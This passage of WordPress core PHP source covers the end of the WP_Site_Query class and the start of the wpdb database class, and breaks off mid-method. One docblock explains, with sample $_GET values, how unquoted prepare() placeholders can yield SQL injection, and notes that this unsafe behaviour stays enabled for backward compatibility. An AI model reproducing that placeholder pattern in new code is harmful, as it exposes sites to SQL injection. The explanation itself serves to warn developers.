		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );

		/**
		 * Filters the site query clauses.
		 *
		 * @since 4.6.0
		 *
		 * @param string[]      $clauses An associative array of site query clauses.
		 * @param WP_Site_Query $query   Current instance of WP_Site_Query (passed by reference).
		 */
		$clauses = apply_filters_ref_array( 'sites_clauses', array( compact( $pieces ), &$this ) );

		$fields  = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
		$join    = isset( $clauses['join'] ) ? $clauses['join'] : '';
		$where   = isset( $clauses['where'] ) ? $clauses['where'] : '';
		$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
		$limits  = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
		$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';

		if ( $where ) {
			$where = 'WHERE ' . $where;
		}

		if ( $groupby ) {
			$groupby = 'GROUP BY ' . $groupby;
		}

		if ( $orderby ) {
			$orderby = "ORDER BY $orderby";
		}

		$found_rows = '';
		if ( ! $this->query_vars['no_found_rows'] ) {
			$found_rows = 'SQL_CALC_FOUND_ROWS';
		}

		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
		$this->sql_clauses['from']    = "FROM $wpdb->blogs $join";
		$this->sql_clauses['groupby'] = $groupby;
		$this->sql_clauses['orderby'] = $orderby;
		$this->sql_clauses['limits']  = $limits;

		// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
		$this->request =
			"{$this->sql_clauses['select']}
			 {$this->sql_clauses['from']}
			 {$where}
			 {$this->sql_clauses['groupby']}
			 {$this->sql_clauses['orderby']}
			 {$this->sql_clauses['limits']}";

		if ( $this->query_vars['count'] ) {
			return (int) $wpdb->get_var( $this->request );
		}

		$site_ids = $wpdb->get_col( $this->request );

		return array_map( 'intval', $site_ids );
	}

	/**
	 * Populates found_sites and max_num_pages properties for the current query
	 * if the limit clause was used.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_sites() {
		global $wpdb;

		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
			/**
			 * Filters the query used to retrieve found site count.
			 *
			 * @since 4.6.0
			 *
			 * @param string        $found_sites_query SQL query. Default 'SELECT FOUND_ROWS()'.
			 * @param WP_Site_Query $site_query        The `WP_Site_Query` instance.
			 */
			$found_sites_query = apply_filters( 'found_sites_query', 'SELECT FOUND_ROWS()', $this );

			$this->found_sites = (int) $wpdb->get_var( $found_sites_query );
		}
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $search, $columns ) {
		global $wpdb;

		if ( str_contains( $search, '*' ) ) {
			$like = '%' . implode( '%', array_map( array( $wpdb, 'esc_like' ), explode( '*', $search ) ) ) . '%';
		} else {
			$like = '%' . $wpdb->esc_like( $search ) . '%';
		}

		$searches = array();
		foreach ( $columns as $column ) {
			$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
		}

		return '(' . implode( ' OR ', $searches ) . ')';
	}

	/**
	 * Parses and sanitizes 'orderby' keys passed to the site query.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$parsed = false;

		switch ( $orderby ) {
			case 'site__in':
				$site__in = implode( ',', array_map( 'absint', $this->query_vars['site__in'] ) );
				$parsed   = "FIELD( {$wpdb->blogs}.blog_id, $site__in )";
				break;
			case 'network__in':
				$network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) );
				$parsed      = "FIELD( {$wpdb->blogs}.site_id, $network__in )";
				break;
			case 'domain':
			case 'last_updated':
			case 'path':
			case 'registered':
			case 'deleted':
			case 'spam':
			case 'mature':
			case 'archived':
			case 'public':
				$parsed = $orderby;
				break;
			case 'network_id':
				$parsed = 'site_id';
				break;
			case 'domain_length':
				$parsed = 'CHAR_LENGTH(domain)';
				break;
			case 'path_length':
				$parsed = 'CHAR_LENGTH(path)';
				break;
			case 'id':
				$parsed = "{$wpdb->blogs}.blog_id";
				break;
		}

		if ( ! empty( $parsed ) || empty( $this->meta_query_clauses ) ) {
			return $parsed;
		}

		$meta_clauses = $this->meta_query->get_clauses();
		if ( empty( $meta_clauses ) ) {
			return $parsed;
		}

		$primary_meta_query = reset( $meta_clauses );
		if ( ! empty( $primary_meta_query['key'] ) && $primary_meta_query['key'] === $orderby ) {
			$orderby = 'meta_value';
		}

		switch ( $orderby ) {
			case 'meta_value':
				if ( ! empty( $primary_meta_query['type'] ) ) {
					$parsed = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})";
				} else {
					$parsed = "{$primary_meta_query['alias']}.meta_value";
				}
				break;
			case 'meta_value_num':
				$parsed = "{$primary_meta_query['alias']}.meta_value+0";
				break;
			default:
				if ( isset( $meta_clauses[ $orderby ] ) ) {
					$meta_clause = $meta_clauses[ $orderby ];
					$parsed      = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})";
				}
		}

		return $parsed;
	}

	/**
	 * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary.
	 *
	 * @since 4.6.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'ASC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}
}
<?php
/**
 * WordPress database access abstraction class.
 *
 * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
 *
 * @package WordPress
 * @subpackage Database
 * @since 0.71
 */

/**
 * @since 0.71
 */
define( 'EZSQL_VERSION', 'WP1.25' );

/**
 * @since 0.71
 */
define( 'OBJECT', 'OBJECT' );
// phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ConstantNotUpperCase
define( 'object', 'OBJECT' ); // Back compat.

/**
 * @since 2.5.0
 */
define( 'OBJECT_K', 'OBJECT_K' );

/**
 * @since 0.71
 */
define( 'ARRAY_A', 'ARRAY_A' );

/**
 * @since 0.71
 */
define( 'ARRAY_N', 'ARRAY_N' );

/**
 * WordPress database access abstraction class.
 *
 * This class is used to interact with a database without needing to use raw SQL statements.
 * By default, WordPress uses this class to instantiate the global $wpdb object, providing
 * access to the WordPress database.
 *
 * It is possible to replace this class with your own by setting the $wpdb global variable
 * in wp-content/db.php file to your class. The wpdb class will still be included, so you can
 * extend it or simply use your own.
 *
 * @link https://developer.wordpress.org/reference/classes/wpdb/
 *
 * @since 0.71
 */
#[AllowDynamicProperties]
class wpdb {

	/**
	 * Whether to show SQL/DB errors.
	 *
	 * Default is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY evaluate to true.
	 *
	 * @since 0.71
	 *
	 * @var bool
	 */
	public $show_errors = false;

	/**
	 * Whether to suppress errors during the DB bootstrapping. Default false.
	 *
	 * @since 2.5.0
	 *
	 * @var bool
	 */
	public $suppress_errors = false;

	/**
	 * The error encountered during the last query.
	 *
	 * @since 2.5.0
	 *
	 * @var string
	 */
	public $last_error = '';

	/**
	 * The number of queries made.
	 *
	 * @since 1.2.0
	 *
	 * @var int
	 */
	public $num_queries = 0;

	/**
	 * Count of rows returned by the last query.
	 *
	 * @since 0.71
	 *
	 * @var int
	 */
	public $num_rows = 0;

	/**
	 * Count of rows affected by the last query.
	 *
	 * @since 0.71
	 *
	 * @var int
	 */
	public $rows_affected = 0;

	/**
	 * The ID generated for an AUTO_INCREMENT column by the last query (usually INSERT).
	 *
	 * @since 0.71
	 *
	 * @var int
	 */
	public $insert_id = 0;

	/**
	 * The last query made.
	 *
	 * @since 0.71
	 *
	 * @var string
	 */
	public $last_query;

	/**
	 * Results of the last query.
	 *
	 * @since 0.71
	 *
	 * @var stdClass[]|null
	 */
	public $last_result;

	/**
	 * Database query result.
	 *
	 * Possible values:
	 *
	 * - `mysqli_result` instance for successful SELECT, SHOW, DESCRIBE, or EXPLAIN queries
	 * - `true` for other query types that were successful
	 * - `null` if a query is yet to be made or if the result has since been flushed
	 * - `false` if the query returned an error
	 *
	 * @since 0.71
	 *
	 * @var mysqli_result|bool|null
	 */
	protected $result;

	/**
	 * Cached column info, for confidence checking data before inserting.
	 *
	 * @since 4.2.0
	 *
	 * @var array
	 */
	protected $col_meta = array();

	/**
	 * Calculated character sets keyed by table name.
	 *
	 * @since 4.2.0
	 *
	 * @var string[]
	 */
	protected $table_charset = array();

	/**
	 * Whether text fields in the current query need to be confidence checked.
	 *
	 * @since 4.2.0
	 *
	 * @var bool
	 */
	protected $check_current_query = true;

	/**
	 * Flag to ensure we don't run into recursion problems when checking the collation.
	 *
	 * @since 4.2.0
	 *
	 * @see wpdb::check_safe_collation()
	 * @var bool
	 */
	private $checking_collation = false;

	/**
	 * Saved info on the table column.
	 *
	 * @since 0.71
	 *
	 * @var array
	 */
	protected $col_info;

	/**
	 * Log of queries that were executed, for debugging purposes.
	 *
	 * @since 1.5.0
	 * @since 2.5.0 The third element in each query log was added to record the calling functions.
	 * @since 5.1.0 The fourth element in each query log was added to record the start time.
	 * @since 5.3.0 The fifth element in each query log was added to record custom data.
	 *
	 * @var array[] {
	 *     Array of arrays containing information about queries that were executed.
	 *
	 *     @type array ...$0 {
	 *         Data for each query.
	 *
	 *         @type string $0 The query's SQL.
	 *         @type float  $1 Total time spent on the query, in seconds.
	 *         @type string $2 Comma-separated list of the calling functions.
	 *         @type float  $3 Unix timestamp of the time at the start of the query.
	 *         @type array  $4 Custom query data.
	 *     }
	 * }
	 */
	public $queries;

	/**
	 * The number of times to retry reconnecting before dying. Default 5.
	 *
	 * @since 3.9.0
	 *
	 * @see wpdb::check_connection()
	 * @var int
	 */
	protected $reconnect_retries = 5;

	/**
	 * WordPress table prefix.
	 *
	 * You can set this to have multiple WordPress installations in a single database.
	 * The second reason is for possible security precautions.
	 *
	 * @since 2.5.0
	 *
	 * @var string
	 */
	public $prefix = '';

	/**
	 * WordPress base table prefix.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $base_prefix;

	/**
	 * Whether the database queries are ready to start executing.
	 *
	 * @since 2.3.2
	 *
	 * @var bool
	 */
	public $ready = false;

	/**
	 * Blog ID.
	 *
	 * @since 3.0.0
	 *
	 * @var int
	 */
	public $blogid = 0;

	/**
	 * Site ID.
	 *
	 * @since 3.0.0
	 *
	 * @var int
	 */
	public $siteid = 0;

	/**
	 * List of WordPress per-site tables.
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $tables = array(
		'posts',
		'comments',
		'links',
		'options',
		'postmeta',
		'terms',
		'term_taxonomy',
		'term_relationships',
		'termmeta',
		'commentmeta',
	);

	/**
	 * List of deprecated WordPress tables.
	 *
	 * 'categories', 'post2cat', and 'link2cat' were deprecated in 2.3.0, db version 5539.
	 *
	 * @since 2.9.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $old_tables = array( 'categories', 'post2cat', 'link2cat' );

	/**
	 * List of WordPress global tables.
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $global_tables = array( 'users', 'usermeta' );

	/**
	 * List of Multisite global tables.
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $ms_global_tables = array(
		'blogs',
		'blogmeta',
		'signups',
		'site',
		'sitemeta',
		'registration_log',
	);

	/**
	 * List of deprecated WordPress Multisite global tables.
	 *
	 * @since 6.1.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $old_ms_global_tables = array( 'sitecategories' );

	/**
	 * WordPress Comments table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $comments;

	/**
	 * WordPress Comment Metadata table.
	 *
	 * @since 2.9.0
	 *
	 * @var string
	 */
	public $commentmeta;

	/**
	 * WordPress Links table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $links;

	/**
	 * WordPress Options table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $options;

	/**
	 * WordPress Post Metadata table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $postmeta;

	/**
	 * WordPress Posts table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $posts;

	/**
	 * WordPress Terms table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $terms;

	/**
	 * WordPress Term Relationships table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $term_relationships;

	/**
	 * WordPress Term Taxonomy table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $term_taxonomy;

	/**
	 * WordPress Term Meta table.
	 *
	 * @since 4.4.0
	 *
	 * @var string
	 */
	public $termmeta;

	//
	// Global and Multisite tables
	//

	/**
	 * WordPress User Metadata table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $usermeta;

	/**
	 * WordPress Users table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $users;

	/**
	 * Multisite Blogs table.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $blogs;

	/**
	 * Multisite Blog Metadata table.
	 *
	 * @since 5.1.0
	 *
	 * @var string
	 */
	public $blogmeta;

	/**
	 * Multisite Registration Log table.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $registration_log;

	/**
	 * Multisite Signups table.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $signups;

	/**
	 * Multisite Sites table.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $site;

	/**
	 * Multisite Sitewide Terms table.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $sitecategories;

	/**
	 * Multisite Site Metadata table.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $sitemeta;

	/**
	 * Format specifiers for DB columns.
	 *
	 * Columns not listed here default to %s. Initialized during WP load.
	 * Keys are column names, values are format types: 'ID' => '%d'.
	 *
	 * @since 2.8.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::insert()
	 * @see wpdb::update()
	 * @see wpdb::delete()
	 * @see wp_set_wpdb_vars()
	 * @var array
	 */
	public $field_types = array();

	/**
	 * Database table columns charset.
	 *
	 * @since 2.2.0
	 *
	 * @var string
	 */
	public $charset;

	/**
	 * Database table columns collate.
	 *
	 * @since 2.2.0
	 *
	 * @var string
	 */
	public $collate;

	/**
	 * Database Username.
	 *
	 * @since 2.9.0
	 *
	 * @var string
	 */
	protected $dbuser;

	/**
	 * Database Password.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $dbpassword;

	/**
	 * Database Name.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $dbname;

	/**
	 * Database Host.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $dbhost;

	/**
	 * Database handle.
	 *
	 * Possible values:
	 *
	 * - `mysqli` instance during normal operation
	 * - `null` if the connection is yet to be made or has been closed
	 * - `false` if the connection has failed
	 *
	 * @since 0.71
	 *
	 * @var mysqli|false|null
	 */
	protected $dbh;

	/**
	 * A textual description of the last query/get_row/get_var call.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $func_call;

	/**
	 * Whether MySQL is used as the database engine.
	 *
	 * Set in wpdb::db_connect() to true, by default. This is used when checking
	 * against the required MySQL version for WordPress. Normally, a replacement
	 * database drop-in (db.php) will skip these checks, but setting this to true
	 * will force the checks to occur.
	 *
	 * @since 3.3.0
	 *
	 * @var bool
	 */
	public $is_mysql = null;

	/**
	 * A list of incompatible SQL modes.
	 *
	 * @since 3.9.0
	 *
	 * @var string[]
	 */
	protected $incompatible_modes = array(
		'NO_ZERO_DATE',
		'ONLY_FULL_GROUP_BY',
		'STRICT_TRANS_TABLES',
		'STRICT_ALL_TABLES',
		'TRADITIONAL',
		'ANSI',
	);

	/**
	 * Backward compatibility, where wpdb::prepare() has not quoted formatted/argnum placeholders.
	 *
	 * This is often used for table/field names (before %i was supported), and sometimes string formatting, e.g.
	 *
	 *     $wpdb->prepare( 'WHERE `%1$s` = "%2$s something %3$s" OR %1$s = "%4$-10s"', 'field_1', 'a', 'b', 'c' );
	 *
	 * But it's risky, e.g. forgetting to add quotes, resulting in SQL Injection vulnerabilities:
	 *
	 *     $wpdb->prepare( 'WHERE (id = %1s) OR (id = %2$s)', $_GET['id'], $_GET['id'] ); // ?id=id
	 *
	 * This feature is preserved while plugin authors update their code to use safer approaches:
	 *
	 *     $_GET['key'] = 'a`b';
	 *
	 *     $wpdb->prepare( 'WHERE %1s = %s',        $_GET['key'], $_GET['value'] ); // WHERE a`b = 'value'
	 *     $wpdb->prepare( 'WHERE `%1$s` = "%2$s"', $_GET['key'], $_GET['value'] ); // WHERE `a`b` = "value"
	 *
	 *     $wpdb->prepare( 'WHERE %i = %s',         $_GET['key'], $_GET['value'] ); // WHERE `a``b` = 'value'
	 *
	 * While changing to false will be fine for queries not using formatted/argnum placeholders,
	 * any remaining cases are most likely going to result in SQL errors (good, in a way):
	 *
	 *     $wpdb->prepare( 'WHERE %1$s = "%2$-10s"', 'my_field', 'my_value' );
	 *     true  = WHERE my_field = "my_value  "
	 *     false = WHERE 'my_field' = "'my_value  '"
	 *
	 * But there may be some queries that result in an SQL Injection vulnerability:
	 *
	 *     $wpdb->prepare( 'WHERE id = %1$s', $_GET['id'] ); // ?id=id
	 *
	 * So there may need to be a `_doing_it_wrong()` phase, after we know everyone can use
	 * identifier placeholders (%i), but before this feature is disabled or removed.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $allow_unsafe_unquoted_parameters = true;

	/**
	 * Whether to use the mysqli extension over mysql. This is no longer used as the mysql
	 * extension is no longer supported.
	 *
	 * Default true.
	 *
	 * @since 3.9.0
	 * @since 6.4.0 This property was removed.
	 * @since 6.4.1 This property was reinstated and its default value was changed to true.
	 *              The property is no longer used in core but may be accessed externally.
	 *
	 * @var bool
	 */
	private $use_mysqli = true;

	/**
	 * Whether we've managed to successfully connect at some point.
	 *
	 * @since 3.9.0
	 *
	 * @var bool
	 */
	private $has_connected = false;

	/**
	 * Time when the last query was performed.
	 *
	 * Only set when `SAVEQUERIES` is defined and truthy.
	 *
	 * @since 1.5.0
	 *
	 * @var float
	 */
	public $time_start = null;

	/**
	 * The last SQL error that was encountered.
	 *
	 * @since 2.5.0
	 *
	 * @var WP_Error|string
	 */
	public $error = null;

	/**
	 * Connects to the database server and selects a database.
	 *
	 * Does the actual setting up
	 * of the class properties and connection to the database.
	 *
	 * @since 2.0.8
	 *
	 * @link https://core.trac.wordpress.org/ticket/3354
	 *
	 * @param string $dbuser     Database user.
	 * @param string $dbpassword Database password.
	 * @param string $dbname     Database name.
	 * @param string $dbhost     Database host.
	 */
	public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) {
		if ( WP_DEBUG && WP_DEBUG_DISPLAY ) {
			$this->show_errors();
		}

		$this->dbuser     = $dbuser;
		$this->dbpassword = $dbpassword;
		$this->dbname     = $dbname;
		$this->dbhost     = $dbhost;

		// wp-config.php creation will manually connect when ready.
		if ( defined( 'WP_SETUP_CONFIG' ) ) {
			return;
		}

		$this->db_connect();
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name The private member to get, and optionally process.
	 * @return mixed The private member.
	 */
	public function __get( $name ) {
		if ( 'col_info' === $name ) {
			$this->load_col_info();
		}

		return $this->$name;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name  The private member to set.
	 * @param mixed  $value The value to set.
	 */
	public function __set( $name, $value ) {
		$protected_members = array(
			'col_meta',
			'table_charset',
			'check_current_query',
			'allow_unsafe_unquoted_parameters',
		);
		if ( in_array( $name, $protected_members, true ) ) {
			return;
		}
		$this->$name = $value;
	}

	/**
	 * Makes private properties check-able for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name The private member to check.
	 * @return bool If the member is set or not.
	 */
	public function __isset( $name ) {
		return isset( $this->$name );
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name  The private member to unset
	 */
	public function __unset( $name ) {
		unset( $this->$name );
	}

	/**
	 * Sets $this->charset and $this->collate.
	 *
	 * @since 3.1.0
	 */
	public function init_charset() {
		$charset = '';
		$collate = '';

		if ( function_exists( 'is_multisite' ) && is_multisite() ) {
			$charset = 'utf8';
			if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
				$collate = DB_COLLATE;
			} else {
				$collate = 'utf8_general_ci';
			}
		} elseif ( defined( 'DB_COLLATE' ) ) {
			$collate = DB_COLLATE;
		}

		if ( defined( 'DB_CHARSET' ) ) {
			$charset = DB_CHARSET;
		}

		$charset_collate = $this->determine_charset( $charset, $collate );

		$this->charset = $charset_collate['charset'];
		$this->collate = $charset_collate['collate'];
	}

	/**
	 * Determines the best charset and collation to use given a charset and collation.
	 *
	 * For example, when able, utf8mb4 should be used instead of utf8.
	 *
	 * @since 4.6.0
	 *
	 * @param string $charset The character set to check.
	 * @param string $collate The collation to check.
	 * @return array {
	 *     The most appropriate character set and collation to use.
	 *
	 *     @type string $charset Character set.
	 *     @type string $collate Collation.
	 * }
	 */
	public function determine_charset( $charset, $collate ) {
		if ( ( ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) {
			return compact( 'charset', 'collate' );
		}

		if ( 'utf8' === $charset && $this->has_cap( 'utf8mb4' ) ) {
			$charset = 'utf8mb4';
		}

		if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
			$charset = 'utf8';
			$collate = str_replace( 'utf8mb4_', 'utf8_', $collate );
		}

		if ( 'utf8mb4' === $charset ) {
			// _general_ is outdated, so we can upgrade it to _unicode_, instead.
			if ( ! $collate || 'utf8_general_ci' === $collate ) {
				$collate = 'utf8mb4_unicode_ci';
			} else {
				$collate = str_replace( 'utf8_', 'utf8mb4_', $collate );
			}
		}

		// _unicode_520_ is a better collation, we should use that when it's available.
		if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) {
			$collate = 'utf8mb4_unicode_520_ci';
		}

		return compact( 'charset', 'collate' );
	}

	/**
	 * Sets the connection's character set.
	 *
	 * @since 3.1.0
	 *
	 * @param mysqli $dbh     The connection returned by `mysqli_connect()`.
	 * @param string $charset Optional. The character set. Default null.
	 * @param string $collate Optional. The collation. Default null.
	 */
	public function set_charset( $dbh, $charset = null, $collate = null ) {
		if ( ! isset( $charset ) ) {
			$charset = $this->charset;
		}
		if ( ! isset( $collate ) ) {
			$collate = $this->collate;
		}
		if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) {
			$set_charset_succeeded = true;

			if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
				$set_charset_succeeded = mysqli_set_charset( $dbh, $charset );
			}

			if ( $set_charset_succeeded ) {
				$query = $this->prepare( 'SET NAMES %s', $charset );
				if ( ! empty( $collate ) ) {
					$query .= $this->prepare( ' COLLATE %s', $collate );
				}
				mysqli_query( $dbh, $query );
			}
		}
	}

	/**
	 * Changes the current SQL mode, and ensures its WordPress compatibility.
	 *
	 * If no modes are passed, it will ensure the current MySQL server modes are compatible.
	 *
	 * @since 3.9.0
	 *
	 * @param array $modes Optional. A list of SQL modes to set. Default empty array.
	 */
	public function set_sql_mode( $modes = array() ) {
		if ( empty( $modes ) ) {
			$res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' );

			if ( empty( $res ) ) {
				return;
			}

			$modes_array = mysqli_fetch_array( $res );

			if ( empty( $modes_array[0] ) ) {
				return;
			}

			$modes_str = $modes_array[0];

			if ( empty( $modes_str ) ) {
				return;
			}

			$modes = explode( ',', $modes_str );
		}

		$modes = array_change_key_case( $modes, CASE_UPPER );

		/**
		 * Filters the list of incompatible SQL modes to exclude.
		 *
		 * @since 3.9.0
		 *
		 * @param array $incompatible_modes An array of incompatible modes.
		 */
		$incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes );

		foreach ( $modes as $i => $mode ) {
			if ( in_array( $mode, $incompatible_modes, true ) ) {
				unset( $modes[ $i ] );
			}
		}

		$modes_str = implode( ',', $modes );

		mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" );
	}

	/**
	 * Sets the table prefix for the WordPress tables.
	 *
	 * @since 2.5.0
	 *
	 * @param string $prefix          Alphanumeric name for the new prefix.
	 * @param bool   $set_table_names Optional. Whether the table names, e.g. wpdb::$posts,
	 *                                should be updated or not. Default true.
	 * @return string|WP_Error Old prefix or WP_Error on error.
	 */
	public function set_prefix( $prefix, $set_table_names = true ) {

		if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) {
			return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' );
		}

		$old_prefix = is_multisite() ? '' : $prefix;

		if ( isset( $this->base_prefix ) ) {
			$old_prefix = $this->base_prefix;
		}

		$this->base_prefix = $prefix;

		if ( $set_table_names ) {
			foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) {
				$this->$table = $prefixed_table;
			}

			if ( is_multisite() && empty( $this->blogid ) ) {
				return $old_prefix;
			}

			$this->prefix = $this->get_blog_prefix();

			foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
				$this->$table = $prefixed_table;
			}

			foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
				$this->$table = $prefixed_table;
			}
		}
		return $old_prefix;
	}

	/**
	 * Sets blog ID.
	 *
	 * @since 3.0.0
	 *
	 * @param int $blog_id
	 * @param int $network_id Optional. Network ID. Default 0.
	 * @return int Previous blog ID.
	 */
	public function set_blog_id( $blog_id, $network_id = 0 ) {
		if ( ! empty( $network_id ) ) {
			$this->siteid = $network_id;
		}

		$old_blog_id  = $this->blogid;
		$this->blogid = $blog_id;

		$this->prefix = $this->get_blog_prefix();

		foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
			$this->$table = $prefixed_table;
		}

		foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
			$this->$table = $prefixed_table;
		}

		return $old_blog_id;
	}

	/**
	 * Gets blog prefix.
	 *
	 * @since 3.0.0
	 *
	 * @param int $blog_id Optional. Blog ID to retrieve the table prefix for.
	 *                     Defaults to the current blog ID.
	 * @return string Blog prefix.
	 */
	public function get_blog_prefix( $blog_id = null ) {
		if ( is_multisite() ) {
			if ( null === $blog_id ) {
				$blog_id = $this->blogid;
			}

			$blog_id = (int) $blog_id;

			if ( defined( 'MULTISITE' ) && ( 0 === $blog_id || 1 === $blog_id ) ) {
				return $this->base_prefix;
			} else {
				return $this->base_prefix . $blog_id . '_';
			}
		} else {
			return $this->base_prefix;
		}
	}

	/**
	 * Returns an array of WordPress tables.
	 *
	 * Also allows for the `CUSTOM_USER_TABLE` and `CUSTOM_USER_META_TABLE` to override the WordPress users
	 * and usermeta tables that would otherwise be determined by the prefix.
	 *
	 * The `$scope` argument can take one of the following:
	 *
	 * - 'all' - returns 'all' and 'global' tables. No old tables are returned.
	 * - 'blog' - returns the blog-level tables for the queried blog.
	 * - 'global' - returns the global tables for the installation, returning multisite tables only on multisite.
	 * - 'ms_global' - returns the multisite global tables, regardless if current installation is multisite.
	 * - 'old' - returns tables which are deprecated.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 `old` now includes deprecated multisite global tables only on multisite.
	 *
	 * @uses wpdb::$tables
	 * @uses wpdb::$old_tables
	 * @uses wpdb::$global_tables
	 * @uses wpdb::$ms_global_tables
	 * @uses wpdb::$old_ms_global_tables
	 *
	 * @param string $scope   Optional. Possible values include 'all', 'global', 'ms_global', 'blog',
	 *                        or 'old' tables. Default 'all'.
	 * @param bool   $prefix  Optional. Whether to include table prefixes. If blog prefix is requested,
	 *                        then the custom users and usermeta tables will be mapped. Default true.
	 * @param int    $blog_id Optional. The blog_id to prefix. Used only when prefix is requested.
	 *                        Defaults to `wpdb::$blogid`.
	 * @return string[] Table names. When a prefix is requested, the key is the unprefixed table name.
	 */
	public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) {
		switch ( $scope ) {
			case 'all':
				$tables = array_merge( $this->global_tables, $this->tables );
				if ( is_multisite() ) {
					$tables = array_merge( $tables, $this->ms_global_tables );
				}
				break;
			case 'blog':
				$tables = $this->tables;
				break;
			case 'global':
				$tables = $this->global_tables;
				if ( is_multisite() ) {
					$tables = array_merge( $tables, $this->ms_global_tables );
				}
				break;
			case 'ms_global':
				$tables = $this->ms_global_tables;
				break;
			case 'old':
				$tables = $this->old_tables;
				if ( is_multisite() ) {
					$tables = array_merge( $tables, $this->old_ms_global_tables );
				}
				break;
			default:
				return array();
		}

		if ( $prefix ) {
			if ( ! $blog_id ) {
				$blog_id = $this->blogid;
			}
			$blog_prefix   = $this->get_blog_prefix( $blog_id );
			$base_prefix   = $this->base_prefix;
			$global_tables = array_merge( $this->global_tables, $this->ms_global_tables );
			foreach ( $tables as $k => $table ) {
				if ( in_array( $table, $global_tables, true ) ) {
					$tables[ $table ] = $base_prefix . $table;
				} else {
					$tables[ $table ] = $blog_prefix . $table;
				}
				unset( $tables[ $k ] );
			}

			if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) {
